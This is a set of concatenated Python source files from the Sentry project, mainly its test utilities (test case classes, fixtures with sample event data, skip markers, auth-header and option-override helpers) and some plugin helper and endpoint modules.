# def task_revoked_handler(sender, expired=False, **kwargs):
#     if expired:
#         metrics.incr('jobs.expired', instance=sender)
#     else:
#         metrics.incr('jobs.revoked', instance=sender)
#
#
# task_revoked.connect(
#     task_revoked_handler,
#     weak=False,
#     dispatch_uid='sentry.stats.tasks.revoked',
# )


record_task_signal(task_sent, 'dispatched')
record_task_signal(task_prerun, 'started')
record_task_signal(task_success, 'finished', tags={'result': 'success'})
record_task_signal(task_failure, 'finished', tags={'result': 'failure'})






"""
sentry.testutils.asserts
~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import


def assert_date_resembles(one, two):
    # this is mostly intended to handle discrepancies between mysql/postgres
    assert one.replace(microsecond=0) == two.replace(microsecond=0)






"""
sentry.testutils.cases
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

__all__ = (
    'TestCase', 'TransactionTestCase', 'APITestCase', 'AuthProviderTestCase',
    'RuleTestCase', 'PermissionTestCase', 'PluginTestCase', 'CliTestCase',
    'AcceptanceTestCase',
)

import base64
import os
import os.path
import pytest
import six

from click.testing import CliRunner
from contextlib import contextmanager
from django.conf import settings
from django.contrib.auth import login
from django.core.cache import cache
from django.core.urlresolvers import reverse
from django.http import HttpRequest
from django.test import TestCase, TransactionTestCase
from django.utils.importlib import import_module
from exam import before, fixture, Exam
from rest_framework.test import APITestCase as BaseAPITestCase
from six.moves.urllib.parse import urlencode

from sentry import auth
from sentry.auth.providers.dummy import DummyProvider
from sentry.constants import MODULE_ROOT
from sentry.models import GroupMeta, ProjectOption
from sentry.plugins import plugins
from sentry.rules import EventState
from sentry.utils import json

from .fixtures import Fixtures
from .helpers import AuthProvider, Feature, get_auth_header, TaskRunner, override_options


class BaseTestCase(Fixtures, Exam):
    urls = 'sentry.web.urls'

    def assertRequiresAuthentication(self, path, method='GET'):
        resp = getattr(self.client, method.lower())(path)
        assert resp.status_code == 302
        assert resp['Location'].startswith('http://testserver' + reverse('sentry-login'))

    @before
    def setup_dummy_auth_provider(self):
        auth.register('dummy', DummyProvider)
        self.addCleanup(auth.unregister, 'dummy', DummyProvider)

    @before
    def setup_session(self):
        engine = import_module(settings.SESSION_ENGINE)

        session = engine.SessionStore()
        session.save()

        self.session = session

    def tasks(self):
        return TaskRunner()

    def feature(self, name, active=True):
        """
        >>> with self.feature('feature:name')
        >>>     # ...
        """
        return Feature(name, active)

    def auth_provider(self, name, cls):
        """
        >>> with self.auth_provider('name', Provider)
        >>>     # ...
        """
        return AuthProvider(name, cls)

    def save_session(self):
        self.session.save()

        cookie_data = {
            'max-age': None,
            'path': '/',
            'domain': settings.SESSION_COOKIE_DOMAIN,
            'secure': settings.SESSION_COOKIE_SECURE or None,
            'expires': None,
        }

        session_cookie = settings.SESSION_COOKIE_NAME
        self.client.cookies[session_cookie] = self.session.session_key
        self.client.cookies[session_cookie].update(cookie_data)

    def login_as(self, user):
        user.backend = settings.AUTHENTICATION_BACKENDS[0]

        request = HttpRequest()
        request.session = self.session

        login(request, user)
        request.user = user

        # Save the session values.
        self.save_session()

    def load_fixture(self, filepath):
        filepath = os.path.join(
            MODULE_ROOT,
            'tests',
            'fixtures',
            filepath,
        )
        with open(filepath, 'rb') as fp:
            return fp.read()

    def _pre_setup(self):
        super(BaseTestCase, self)._pre_setup()

        cache.clear()
        ProjectOption.objects.clear_local_cache()
        GroupMeta.objects.clear_local_cache()

    def _post_teardown(self):
        super(BaseTestCase, self)._post_teardown()

    def _makeMessage(self, data):
        return json.dumps(data).encode('utf-8')

    def _makePostMessage(self, data):
        return base64.b64encode(self._makeMessage(data))

    def _postWithHeader(self, data, key=None, secret=None, protocol=None):
        if key is None:
            key = self.projectkey.public_key
            secret = self.projectkey.secret_key

        message = self._makePostMessage(data)
        with self.tasks():
            resp = self.client.post(
                reverse('sentry-api-store'), message,
                content_type='application/octet-stream',
                HTTP_X_SENTRY_AUTH=get_auth_header(
                    '_postWithHeader/0.0.0',
                    key,
                    secret,
                    protocol,
                ),
            )
        return resp

    def _postCspWithHeader(self, data, key=None, **extra):
        if isinstance(data, dict):
            body = json.dumps({'csp-report': data})
        elif isinstance(data, six.string_types):
            body = data
        path = reverse('sentry-api-csp-report', kwargs={'project_id': self.project.id})
        path += '?sentry_key=%s' % self.projectkey.public_key
        with self.tasks():
            return self.client.post(
                path, data=body,
                content_type='application/csp-report',
                HTTP_USER_AGENT='awesome',
                **extra
            )

    def _getWithReferer(self, data, key=None, referer='getsentry.com', protocol='4'):
        if key is None:
            key = self.projectkey.public_key

        headers = {}
        if referer is not None:
            headers['HTTP_REFERER'] = referer

        message = self._makeMessage(data)
        qs = {
            'sentry_version': protocol,
            'sentry_client': 'raven-js/lol',
            'sentry_key': key,
            'sentry_data': message,
        }
        with self.tasks():
            resp = self.client.get(
                '%s?%s' % (reverse('sentry-api-store', args=(self.project.pk,)), urlencode(qs)),
                **headers
            )
        return resp

    def _postWithReferer(self, data, key=None, referer='getsentry.com', protocol='4'):
        if key is None:
            key = self.projectkey.public_key

        headers = {}
        if referer is not None:
            headers['HTTP_REFERER'] = referer

        message = self._makeMessage(data)
        qs = {
            'sentry_version': protocol,
            'sentry_client': 'raven-js/lol',
            'sentry_key': key,
        }
        with self.tasks():
            resp = self.client.post(
                '%s?%s' % (reverse('sentry-api-store', args=(self.project.pk,)), urlencode(qs)),
                data=message,
                content_type='application/json',
                **headers
            )
        return resp

    def options(self, options):
        """
        A context manager that temporarily sets a global option and reverts
        back to the original value when exiting the context.
        """
        return override_options(options)

    @contextmanager
    def dsn(self, dsn):
        """
        A context manager that temporarily sets the internal client's DSN
        """
        from raven.contrib.django.models import client

        try:
            client.set_dsn(dsn)
            yield
        finally:
            client.set_dsn(None)

    _postWithSignature = _postWithHeader
    _postWithNewSignature = _postWithHeader


class TestCase(BaseTestCase, TestCase):
    pass


class TransactionTestCase(BaseTestCase, TransactionTestCase):
    pass


class APITestCase(BaseTestCase, BaseAPITestCase):
    pass


class AuthProviderTestCase(TestCase):
    provider = DummyProvider
    provider_name = 'dummy'

    def setUp(self):
        super(AuthProviderTestCase, self).setUp()
        # TestCase automatically sets up dummy provider
        if self.provider_name != 'dummy' or self.provider != DummyProvider:
            auth.register(self.provider_name, self.provider)
            self.addCleanup(auth.unregister, self.provider_name, self.provider)


class RuleTestCase(TestCase):
    rule_cls = None

    def get_event(self):
        return self.event

    def get_rule(self, data=None):
        return self.rule_cls(
            project=self.project,
            data=data or {},
        )

    def get_state(self, **kwargs):
        kwargs.setdefault('is_new', True)
        kwargs.setdefault('is_regression', True)
        kwargs.setdefault('is_sample', True)
        kwargs.setdefault('rule_is_active', False)
        kwargs.setdefault('rule_last_active', None)
        return EventState(**kwargs)

    def assertPasses(self, rule, event=None, **kwargs):
        if event is None:
            event = self.event
        state = self.get_state(**kwargs)
        assert rule.passes(event, state) is True

    def assertDoesNotPass(self, rule, event=None, **kwargs):
        if event is None:
            event = self.event
        state = self.get_state(**kwargs)
        assert rule.passes(event, state) is False


class PermissionTestCase(TestCase):
    def setUp(self):
        super(PermissionTestCase, self).setUp()
        self.owner = self.create_user(is_superuser=False)
        self.organization = self.create_organization(
            owner=self.owner,
            flags=0,  # disable default allow_joinleave access
        )
        self.team = self.create_team(organization=self.organization)

    def assert_can_access(self, user, path, method='GET'):
        self.login_as(user)
        resp = getattr(self.client, method.lower())(path)
        assert resp.status_code >= 200 and resp.status_code < 300

    def assert_cannot_access(self, user, path, method='GET'):
        self.login_as(user)
        resp = getattr(self.client, method.lower())(path)
        assert resp.status_code >= 300

    def assert_member_can_access(self, path):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user, organization=self.organization,
            role='member', teams=[self.team],
        )

        self.assert_can_access(user, path)

    def assert_teamless_member_can_access(self, path):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user, organization=self.organization,
            role='member', teams=[],
        )

        self.assert_can_access(user, path)

    def assert_member_cannot_access(self, path):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user, organization=self.organization,
            role='member', teams=[self.team],
        )

        self.assert_cannot_access(user, path)

    def assert_manager_cannot_access(self, path):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user, organization=self.organization,
            role='manager', teams=[self.team],
        )

        self.assert_cannot_access(user, path)

    def assert_teamless_member_cannot_access(self, path):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user, organization=self.organization,
            role='member', teams=[],
        )

        self.assert_cannot_access(user, path)

    def assert_team_admin_can_access(self, path):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user, organization=self.organization,
            teams=[self.team], role='admin',
        )

        self.assert_can_access(user, path)

    def assert_teamless_admin_can_access(self, path):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user, organization=self.organization,
            role='admin', teams=[],
        )

        self.assert_can_access(user, path)

    def assert_team_admin_cannot_access(self, path):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user, organization=self.organization,
            teams=[self.team], role='admin',
        )

        self.assert_cannot_access(user, path)

    def assert_teamless_admin_cannot_access(self, path):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user, organization=self.organization,
            role='admin', teams=[],
        )

        self.assert_cannot_access(user, path)

    def assert_team_owner_can_access(self, path):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user, organization=self.organization,
            teams=[self.team], role='owner',
        )

        self.assert_can_access(user, path)

    def assert_owner_can_access(self, path):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user, organization=self.organization,
            role='owner', teams=[self.team],
        )

        self.assert_can_access(user, path)

    def assert_owner_cannot_access(self, path):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user, organization=self.organization,
            role='owner', teams=[self.team],
        )

        self.assert_cannot_access(user, path)

    def assert_non_member_cannot_access(self, path):
        user = self.create_user(is_superuser=False)
        self.assert_cannot_access(user, path)


class PluginTestCase(TestCase):
    plugin = None

    def setUp(self):
        super(PluginTestCase, self).setUp()
        plugins.register(self.plugin)
        self.addCleanup(plugins.unregister, self.plugin)


class CliTestCase(TestCase):
    runner = fixture(CliRunner)
    command = None
    default_args = []

    def invoke(self, *args):
        args += tuple(self.default_args)
        return self.runner.invoke(self.command, args, obj={})


@pytest.mark.usefixtures('browser')
class AcceptanceTestCase(TransactionTestCase):
    def save_session(self):
        self.session.save()
        self.browser.save_cookie(
            name=settings.SESSION_COOKIE_NAME,
            value=self.session.session_key,
        )






"""
sentry.testutils
~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from .asserts import *  # NOQA
from .cases import *  # NOQA
from .skips import *  # NOQA






"""
sentry.testutils.skips
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import socket
import pytest


def riak_is_available():
    try:
        socket.create_connection(('127.0.0.1', 8098), 1.0)
    except socket.error:
        return False
    else:
        return True


requires_riak = pytest.mark.skipif(
    not riak_is_available(),
    reason="requires riak server running")


def cassandra_is_available():
    try:
        socket.create_connection(('127.0.0.1', 9042), 1.0)
    except socket.error:
        return False
    else:
        return True


requires_cassandra = pytest.mark.skipif(
    not cassandra_is_available(),
    reason="requires cassandra server running")


def has_llvm_symbolizer():
    try:
        from symsynd.driver import find_llvm_symbolizer
    except ImportError:
        return False

    try:
        return find_llvm_symbolizer() is not None
    except EnvironmentError:
        return False

requires_llvm_symbolizer = pytest.mark.skipif(
    not has_llvm_symbolizer(),
    reason="requires llvm symbolizer")






# -*- coding: utf-8 -*-
"""
sentry.testutils.fixtures
~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function, unicode_literals

import copy
import json
import petname
import six
import warnings

from django.utils.text import slugify
from exam import fixture
from uuid import uuid4

from sentry.models import (
    Activity, Event, EventError, EventMapping, Group, Organization,
    OrganizationMember, OrganizationMemberTeam, Project, Team, User
)

DEFAULT_EVENT_DATA = {
    'extra': {
        'loadavg': [0.97607421875, 0.88330078125, 0.833984375],
        'sys.argv': [
            '/Users/dcramer/.virtualenvs/sentry/bin/raven',
            'test',
            'https://ebc35f33e151401f9deac549978bda11:f3403f81e12e4c24942d505f086b2cad@app.getsentry.com/1'
        ],
        'user': 'dcramer'
    },
    'modules': {'raven': '3.1.13'},
    'sentry.interfaces.Http': {
        'cookies': {},
        'data': {},
        'env': {},
        'headers': {},
        'method': 'GET',
        'query_string': '',
        'url': 'http://example.com',
    },
    'sentry.interfaces.Stacktrace': {
        'frames': [
            {
                'abs_path': '/Users/dcramer/.virtualenvs/sentry/lib/python2.7/site-packages/raven/base.py',
                'context_line': '                        string_max_length=self.string_max_length)',
                'filename': 'raven/base.py',
                'function': 'build_msg',
                'in_app': False,
                'lineno': 290,
                'module': 'raven.base',
                'post_context': [
                    '                },',
                    '            })',
                    '',
                    "        if 'sentry.interfaces.Stacktrace' in data:",
                    '            if self.include_paths:'
                ],
                'pre_context': [
                    '',
                    '            data.update({',
                    "                'sentry.interfaces.Stacktrace': {",
                    "                    'frames': get_stack_info(frames,",
                    '                        list_max_length=self.list_max_length,'],
                'vars': {
                    'culprit': 'raven.scripts.runner',
                    'date': 'datetime.datetime(2013, 2, 14, 20, 6, 33, 479471)',
                    'event_id': '598fb19363e745ec8be665e6ba88b1b2',
                    'event_type': 'raven.events.Message',
                    'frames': '<generator object iter_stack_frames at 0x103fef050>',
                    'handler': '<raven.events.Message object at 0x103feb710>',
                    'k': 'sentry.interfaces.Message',
                    'public_key': None,
                    'result': {'sentry.interfaces.Message': "{'message': 'This is a test message generated using ``raven test``', 'params': []}"},
                    'self': '<raven.base.Client object at 0x104397f10>',
                    'stack': True,
                    'tags': None,
                    'time_spent': None,
                },
            },
        ],
    },
    'tags': [],
}


class Fixtures(object):
    @fixture
    def projectkey(self):
        return self.create_project_key(project=self.project)

    @fixture
    def user(self):
        return self.create_user('admin@localhost', is_superuser=True)

    @fixture
    def organization(self):
        # XXX(dcramer): ensure that your org slug doesnt match your team slug
        # and the same for your project slug
        return self.create_organization(
            name='baz',
            slug='baz',
            owner=self.user,
        )

    @fixture
    def team(self):
        team = self.create_team(
            organization=self.organization,
            name='foo',
            slug='foo',
        )
        # XXX: handle legacy team fixture
        queryset = OrganizationMember.objects.filter(
            organization=self.organization,
        )
        for om in queryset:
            OrganizationMemberTeam.objects.create(
                team=team,
                organizationmember=om,
                is_active=True,
            )
        return team

    @fixture
    def project(self):
        return self.create_project(
            name='Bar',
            slug='bar',
            team=self.team,
        )

    @fixture
    def group(self):
        return self.create_group(message=u'こんにちは')

    @fixture
    def event(self):
        return self.create_event(
            event_id='a' * 32,
            message=u'こんにちは',
        )

    @fixture
    def activity(self):
        return Activity.objects.create(
            group=self.group, project=self.project,
            type=Activity.NOTE, user=self.user,
            data={}
        )

    def create_organization(self, **kwargs):
        if not kwargs.get('name'):
            kwargs['name'] = petname.Generate(2, ' ').title()

        owner = kwargs.pop('owner', -1)
        if owner is -1:
            owner = self.user

        org = Organization.objects.create(**kwargs)
        if owner:
            self.create_member(
                organization=org,
                user=owner,
                role='owner',
            )
        return org

    def create_member(self, teams=None, **kwargs):
        kwargs.setdefault('role', 'member')

        om = OrganizationMember.objects.create(**kwargs)
        if teams:
            for team in teams:
                OrganizationMemberTeam.objects.create(
                    team=team,
                    organizationmember=om,
                    is_active=True,
                )
        return om

    def create_team(self, **kwargs):
        if not kwargs.get('name'):
            kwargs['name'] = petname.Generate(2, ' ').title()
        if not kwargs.get('slug'):
            kwargs['slug'] = slugify(six.text_type(kwargs['name']))
        if not kwargs.get('organization'):
            kwargs['organization'] = self.organization

        return Team.objects.create(**kwargs)

    def create_project(self, **kwargs):
        if not kwargs.get('name'):
            kwargs['name'] = petname.Generate(2, ' ').title()
        if not kwargs.get('slug'):
            kwargs['slug'] = slugify(six.text_type(kwargs['name']))
        if not kwargs.get('team'):
            kwargs['team'] = self.team
        if not kwargs.get('organization'):
            kwargs['organization'] = kwargs['team'].organization

        return Project.objects.create(**kwargs)

    def create_project_key(self, project):
        return project.key_set.get_or_create()[0]

    def create_user(self, email=None, **kwargs):
        if not email:
            email = uuid4().hex + '@example.com'

        kwargs.setdefault('username', email)
        kwargs.setdefault('is_staff', True)
        kwargs.setdefault('is_active', True)
        kwargs.setdefault('is_superuser', False)

        user = User(email=email, **kwargs)
        user.set_password('admin')
        user.save()

        return user

    def create_event(self, event_id=None, **kwargs):
        if event_id is None:
            event_id = uuid4().hex
        if 'group' not in kwargs:
            kwargs['group'] = self.group
        kwargs.setdefault('project', kwargs['group'].project)
        kwargs.setdefault('data', copy.deepcopy(DEFAULT_EVENT_DATA))
        if kwargs.get('tags'):
            tags = kwargs.pop('tags')
            if isinstance(tags, dict):
                tags = list(tags.items())
            kwargs['data']['tags'] = tags

        kwargs['data'].setdefault('errors', [{
            'type': EventError.INVALID_DATA,
            'name': 'foobar',
        }])

        event = Event(
            event_id=event_id,
            **kwargs
        )
        EventMapping.objects.create(
            project_id=event.project.id,
            event_id=event_id,
            group=event.group,
        )
        # emulate EventManager refs
        event.data.bind_ref(event)
        event.save()
        return event

    def create_full_event(self, event_id='a', **kwargs):
        payload = """
            {
                "id": "f5dd88e612bc406ba89dfebd09120769",
                "project": 11276,
                "release": "e1b5d1900526feaf20fe2bc9cad83d392136030a",
                "platform": "javascript",
                "culprit": "app/components/events/eventEntries in map",
                "message": "TypeError: Cannot read property '1' of null",
                "tags": [
                    ["environment", "prod"],
                    ["sentry_version", "e1b5d1900526feaf20fe2bc9cad83d392136030a"],
                    ["level", "error"],
                    ["logger", "javascript"],
                    ["sentry:release", "e1b5d1900526feaf20fe2bc9cad83d392136030a"],
                    ["browser", "Chrome 48.0"],
                    ["device", "Other"],
                    ["os", "Windows 10"],
                    ["url", "https://app.getsentry.com/katon-direct/localhost/issues/112734598/"],
                    ["sentry:user", "id:41656"]
                ],
                "errors": [{
                    "url": "<anonymous>",
                    "type": "js_no_source"
                }],
                "extra": {
                    "session:duration": 40364
                },
                "sentry.interfaces.Exception": {
                    "exc_omitted": null,
                    "values": [{
                        "stacktrace": {
                            "has_system_frames": false,
                            "frames": [{
                                "function": "batchedUpdates",
                                "abs_path": "webpack:////usr/src/getsentry/src/sentry/~/react/lib/ReactUpdates.js",
                                "pre_context": ["  // verify that that's the case. (This is called by each top-level update", "  // function, like setProps, setState, forceUpdate, etc.; creation and", "  // destruction of top-level components is guarded in ReactMount.)", "", "  if (!batchingStrategy.isBatchingUpdates) {"],
                                "post_context": ["    return;", "  }", "", "  dirtyComponents.push(component);", "}"],
                                "filename": "~/react/lib/ReactUpdates.js",
                                "module": "react/lib/ReactUpdates",
                                "colno": 0,
                                "in_app": false,
                                "data": {
                                    "orig_filename": "/_static/29e365f8b0d923bc123e8afa38d890c3/sentry/dist/vendor.js",
                                    "orig_abs_path": "https://media.getsentry.com/_static/29e365f8b0d923bc123e8afa38d890c3/sentry/dist/vendor.js",
                                    "sourcemap": "https://media.getsentry.com/_static/29e365f8b0d923bc123e8afa38d890c3/sentry/dist/vendor.js.map",
                                    "orig_lineno": 37,
                                    "orig_function": "Object.s [as enqueueUpdate]",
                                    "orig_colno": 16101
                                },
                                "context_line": "    batchingStrategy.batchedUpdates(enqueueUpdate, component);",
                                "lineno": 176
                            }],
                            "frames_omitted": null
                        },
                        "type": "TypeError",
                        "value": "Cannot read property '1' of null",
                        "module": null
                    }]
                },
                "sentry.interfaces.Http": {
                    "url": "https://app.getsentry.com/katon-direct/localhost/issues/112734598/",
                    "headers": [
                        ["Referer", "https://getsentry.com/welcome/"],
                        ["User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36"]
                    ]
                },
                "sentry.interfaces.User": {
                    "ip_address": "0.0.0.0",
                    "id": "41656",
                    "email": "test@example.com"
                },
                "version": "7"
            }"""
        return self.create_event(event_id=event_id, platform='javascript', data=json.loads(payload))

    def create_group(self, project=None, checksum=None, **kwargs):
        if checksum:
            warnings.warn('Checksum passed to create_group', DeprecationWarning)
        kwargs.setdefault('message', 'Hello world')
        return Group.objects.create(
            project=project or self.project,
            **kwargs
        )






from __future__ import absolute_import

from sentry.middleware.sudo import SudoMiddleware as BaseSudoMiddleware


class BrokenRequestMiddleware(object):
    def process_request(self, request):
        raise ImportError('request')


class BrokenResponseMiddleware(object):
    def process_response(self, request, response):
        raise ImportError('response')


class BrokenViewMiddleware(object):
    def process_view(self, request, func, args, kwargs):
        raise ImportError('view')


class SudoMiddleware(BaseSudoMiddleware):
    def has_sudo_privileges(self, request):
        return True






from __future__ import absolute_import

__all__ = ('get_auth_header',)


def get_auth_header(client, api_key=None, secret_key=None, version=None):
    if version is None:
        version = '6'

    header = [
        ('sentry_client', client),
        ('sentry_version', version),
    ]

    if api_key:
        header.append(('sentry_key', api_key))
    if secret_key:
        header.append(('sentry_secret', secret_key))

    return 'Sentry %s' % ', '.join('%s=%s' % (k, v) for k, v in header)






from __future__ import absolute_import

__all__ = ['Feature']

from contextlib import contextmanager
from mock import patch


@contextmanager
def Feature(name, active=True):
    with patch('sentry.features.has') as features_has:
        features_has.side_effect = lambda x, *a, **k: active and x == name
        yield






"""
Copyright (c) 2015 Sentry Team
Copyright (c) 2009 Mark Nottingham

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
"""

from __future__ import absolute_import

__all__ = ('parse_link_header',)

import re

TOKEN = r'(?:[^\(\)<>@,;:\\"/\[\]\?={} \t]+?)'
QUOTED_STRING = r'(?:"(?:\\"|[^"])*")'
PARAMETER = r'(?:%(TOKEN)s(?:=(?:%(TOKEN)s|%(QUOTED_STRING)s))?)' % locals()
LINK = r'<[^>]*>\s*(?:;\s*%(PARAMETER)s?\s*)*' % locals()
COMMA = r'(?:\s*(?:,\s*)+)'
LINK_SPLIT = r'%s(?=%s|\s*$)' % (LINK, COMMA)

link_splitter = re.compile(LINK_SPLIT)


def _unquotestring(instr):
    if instr[0] == instr[-1] == '"':
        instr = instr[1:-1]
        instr = re.sub(r'\\(.)', r'\1', instr)
    return instr


def _splitstring(instr, item, split):
    if not instr:
        return []
    return [h.strip() for h in re.findall(r'%s(?=%s|\s*$)' % (item, split), instr)]


def parse_link_header(instr):
    """
    Given a link-value (i.e., after separating the header-value on commas),
    return a dictionary whose keys are link URLs and values are dictionaries
    of the parameters for their associated links.

    Note that internationalised parameters (e.g., title*) are
    NOT percent-decoded.

    Also, only the last instance of a given parameter will be included.

    For example,

    >>> parse_link_value('</foo>; rel="self"; title*=utf-8\'de\'letztes%20Kapitel')
    {'/foo': {'title*': "utf-8'de'letztes%20Kapitel", 'rel': 'self'}}

    """
    out = {}
    if not instr:
        return out

    for link in [h.strip() for h in link_splitter.findall(instr)]:
        url, params = link.split(">", 1)
        url = url[1:]
        param_dict = {}
        for param in _splitstring(params, PARAMETER, "\s*;\s*"):
            try:
                a, v = param.split("=", 1)
                param_dict[a.lower()] = _unquotestring(v)
            except ValueError:
                param_dict[param.lower()] = None
        out[url] = param_dict
    return out






"""
sentry.testutils.helpers
~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from .auth_header import *  # NOQA
from .auth_providers import *  # NOQA
from .features import *  # NOQA
from .link_header import *  # NOQA
from .task_runner import *  # NOQA
from .options import *  # NOQA






from __future__ import absolute_import

__all__ = ['TaskRunner']

from celery import current_app
from contextlib import contextmanager
from django.conf import settings


@contextmanager
def TaskRunner():
    settings.CELERY_ALWAYS_EAGER = True
    current_app.conf.CELERY_ALWAYS_EAGER = True
    yield
    current_app.conf.CELERY_ALWAYS_EAGER = False
    settings.CELERY_ALWAYS_EAGER = False






from __future__ import absolute_import

__all__ = ['AuthProvider']

from contextlib import contextmanager
from sentry.auth import register, unregister


@contextmanager
def AuthProvider(name, cls):
    register(name, cls)
    yield
    unregister(name, cls)






from __future__ import absolute_import

__all__ = ['override_options']

from django.test.utils import override_settings
from contextlib import contextmanager
from mock import patch


@contextmanager
def override_options(options):
    """
    A context manager for overriding specific configuration
    Options.
    """
    from django.conf import settings
    from sentry.options import default_manager
    wrapped = default_manager.store.get

    def new_get(key, **kwargs):
        try:
            return options[key.name]
        except KeyError:
            return wrapped(key, **kwargs)

    # Patch options into SENTRY_OPTIONS as well
    new_options = settings.SENTRY_OPTIONS.copy()
    new_options.update(options)
    with override_settings(SENTRY_OPTIONS=new_options):
        with patch.object(default_manager.store, 'get', side_effect=new_get):
            yield






from __future__ import absolute_import

__all__ = ['PluginConfigMixin']

from django import forms


class PluginConfigMixin(object):
    def field_to_config(self, name, field):
        config = {
            'name': name,
            'label': field.label,
            'placeholder': field.widget.attrs.get('placeholder'),
            'help': field.help_text,
        }
        if isinstance(field, forms.CharField):
            if field.widget == forms.Textarea:
                config['type'] = 'textarea'
            else:
                config['type'] = 'text'
        elif isinstance(field, forms.ChoiceField):
            config['type'] = 'select'
            config['choices'] = field.choices
        return config

    def get_group_urls(self):
        return []

    def get_project_urls(self):
        return []






"""
sentry.plugins
~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from sentry.plugins.base import *  # NOQA
from sentry.plugins.bases import *  # NOQA
from sentry.plugins.interfaces import *  # NOQA






"""
sentry.plugins.helpers
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from sentry import options
from sentry.models import ProjectOption, UserOption

__all__ = ('set_option', 'get_option', 'unset_option')


def reset_options(prefix, project=None, user=None):
    if user:
        UserOption.objects.filter(key__startswith='%s:' % (prefix,), project=project, user=user).delete()
        UserOption.objects.clear_cache()
    elif project:
        ProjectOption.objects.filter(key__startswith='%s:' % (prefix,), project=project).delete()
        ProjectOption.objects.clear_local_cache()
    else:
        raise NotImplementedError


def set_option(key, value, project=None, user=None):
    if user:
        result = UserOption.objects.set_value(user, project, key, value)
    elif project:
        result = ProjectOption.objects.set_value(project, key, value)
    else:
        raise NotImplementedError

    return result


def get_option(key, project=None, user=None):
    if user:
        result = UserOption.objects.get_value(user, project, key, None)
    elif project:
        result = ProjectOption.objects.get_value(project, key, None)
    else:
        result = options.get(key)

    return result


def unset_option(key, project=None, user=None):
    if user:
        result = UserOption.objects.unset_value(user, project, key)
    elif project:
        result = ProjectOption.objects.unset_value(project, key)
    else:
        raise NotImplementedError

    return result






from __future__ import absolute_import

from sentry.plugins import IssueTrackingPlugin2


class TestIssuePlugin2(IssueTrackingPlugin2):
    """This is only used in tests."""
    slug = 'issuetrackingplugin2'






from __future__ import absolute_import

__all__ = ['PluginProjectEndpoint', 'PluginGroupEndpoint']

from sentry.api.bases.group import GroupEndpoint
from sentry.api.bases.project import ProjectEndpoint
from sentry.models import GroupMeta


class PluginProjectEndpoint(ProjectEndpoint):
    view = None

    def _handle(self, request, project, *args, **kwargs):
        return self.view(request, project, *args, **kwargs)

    def get(self, request, project, *args, **kwargs):
        return self._handle(request, project, *args, **kwargs)

    def post(self, request, project, *args, **kwargs):
        return self._handle(request, project, *args, **kwargs)


class PluginGroupEndpoint(GroupEndpoint):
    view = None

    def _handle(self, request, group, *args, **kwargs):
        GroupMeta.objects.populate_cache([group])

        return self.view(request, group, *args, **kwargs)

    def get(self, request, group, *args, **kwargs):
        return self._handle(request, group, *args, **kwargs)

    def post(self, request, group, *args, **kwargs):
        return self._handle(request, group, *args, **kwargs)






from __future__ import absolute_import

__all__ = ['PluggableViewMixin']

from django.http import HttpResponseRedirect

from .response import Response


class PluggableViewMixin(object):
    """
    A mix-in which provides a render method which returns a special object to
    enable embedding of content within base-views.
    """
    def redirect(self, url):
        """
        Returns a redirect response type.
        """
        return HttpResponseRedirect(url)

    def render(self, template, context=None):
        """
        Given a template name, and an optional context (dictionary), returns a
        ready-to-render response.

        Default context includes the plugin instance.

        >>> self.render('template.html', {'hello': 'world'})
        """
        if context is None:
            context = {}
        context['plugin'] = self
        return Response(template, context)






from __future__ import absolute_import

import logging
import six

from sentry import options
from sentry.models import ProjectOption

from django.utils.translation import ugettext as _
from django.utils.safestring import mark_safe
from django.template.loader import render_to_string
from django.core.urlresolvers import reverse
